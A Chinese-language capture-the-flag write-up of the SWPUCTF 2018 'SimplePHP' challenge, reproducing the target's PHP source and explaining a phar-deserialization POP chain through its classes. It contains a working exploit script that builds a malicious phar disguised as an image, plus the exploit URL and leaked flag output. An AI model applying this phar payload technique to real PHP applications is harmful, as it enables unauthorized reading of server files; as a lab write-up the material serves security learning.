[SWPUCTF 2018]SimplePHP


[SWPUCTF 2018]SimplePHP

模糊測試

這個題首先,看到后會有一點覺得是文件上傳。沒有錯,這只是一部分。

上傳了文件之后發現會被“安排”。

這個過程比較模糊所以叫做模糊的測試叭。

image-20200416104034330

發現文件包含

在查看文件的tab中,我萌可以看到 ?file= ;不用多說這個點了。

image-20200416104309697

我萌把所有的源碼規制下來。下面的源碼搞出來的話就跳過叭,挺長的。

首先我們是得到的file.php的內容。

然后根據file.php的源碼取得function.php,class.php。

然后再拿到base.php(或者說可以理解是index.php)。

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

function.php

222.90.67.205
<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上傳成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>請選擇上傳的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

base.php

<?php 
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首頁</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上傳文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->

分析源碼

首頁得網頁源代碼告訴了我們, ,文件包含肯定會過濾掉。

class.php粗濾查看過濾會發現確實過濾了f1ag.php。

然后整個題沒有一個unserialize();調用。

序列化沒unserialize();

這可咋做呀。

整理思路

序列化,無unserialize(),文件上傳,phar協議未過濾。

很明顯了這是個phar得題。

pop鏈建立

首先是找使鏈觸發得魔術方法。

C1e4r類中有__destruct(),

__destruct()是PHP中的析構方法,在對象被銷毀時被調用,程序結束時會被自動調用銷毀對象。

函數中發現了echo,那么要利用echo $this->test。

public function __destruct()
{
        $this->test = $this->str;
        echo $this->test;
}

show類有__toString(),

__toString方法在將一個對象轉化成字符串時被自動調用,比如進行echo,print操作時會被調用並返回一個字符串。

利用$this->str['str']->source;

public function __toString()
{
        $content = $this->str['str']->source;
        return $content;
}

Test類有__get()

__get()當未定義的屬性或沒有權限訪問的屬性被訪問時該方法會被調用。

利用 $this->get --> $this->file_get($value); -->base64_encode(file_get_contents($value));

public function __get($key)
{
		return $this->get($key);
		
}
public function get($key)
{
       if(isset($this->params[$key])) {
            $value = $this->params[$key];
		} else {
            $value = "index.php";
        }
        return $this->file_get($value);
}
public function file_get($value)
{
       $text = base64_encode(file_get_contents($value));
       return $text;
}

其中調用了file_get_contents($value)函數的file_get函數很重要,一般看到調用了file_get_contents就可以認為這個是pop鏈的結束。

public function file_get($value)
{
       $text = base64_encode(file_get_contents($value));
       return $text;
}

整個pop鏈觸發

C1e4r::destruct() --> Show::toString() --> Test::__get() 。

根據pop鏈構造exp

<?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;

}

$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show;   //利用  $this->test = $this->str; echo $this->test;
$show->str['str'] = $test;  //利用 $this->str['str']->source;


$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($c1e4r); //觸發的頭是C1e4r類,所以傳入C1e4r對象
$phar->addFromString("exp.txt", "test"); //隨便寫點什么生成個簽名
$phar->stopBuffering();

?>

因為正常phar后綴被禁止,所以改名為.gif。

image-20200416134626333

計算文件名

根據file.php的命名規范計算

咱萌exp.gif 被改之后的新文件名

$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
其中$_FILES["file"]["name"]=exp exp也就是咱萌上傳文件的文件名,不帶后綴
$_SERVER["REMOTE_ADDR"]是設定好的174.0.0.201

image-20200416135057669

或者…………開掛,

竟然把目錄開着了,那也可以直接用拉?

image-20200416134745690

利用

file.php輸入如下參數,注意8d535ac87d69bd2cd99da8e195d7f43b是我們計算的文件名

http://c4d2bb44-61f4-4c88-989f-24843ccbae08.node3.buuoj.cn/file.php?file=phar://upload/8d535ac87d69bd2cd99da8e195d7f43b.jpg

得到base64加密的內容

PD9waHAgDQoJLy8kYSA9ICdmbGFnezZkMWE0YTIwLTE4NjItNDExZC05Mzk5LTE0Yjg5MjdhYmYzNH0nOw0KID8+DQoNCg==

image-20200416135702549解密

image-20200416135734308


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM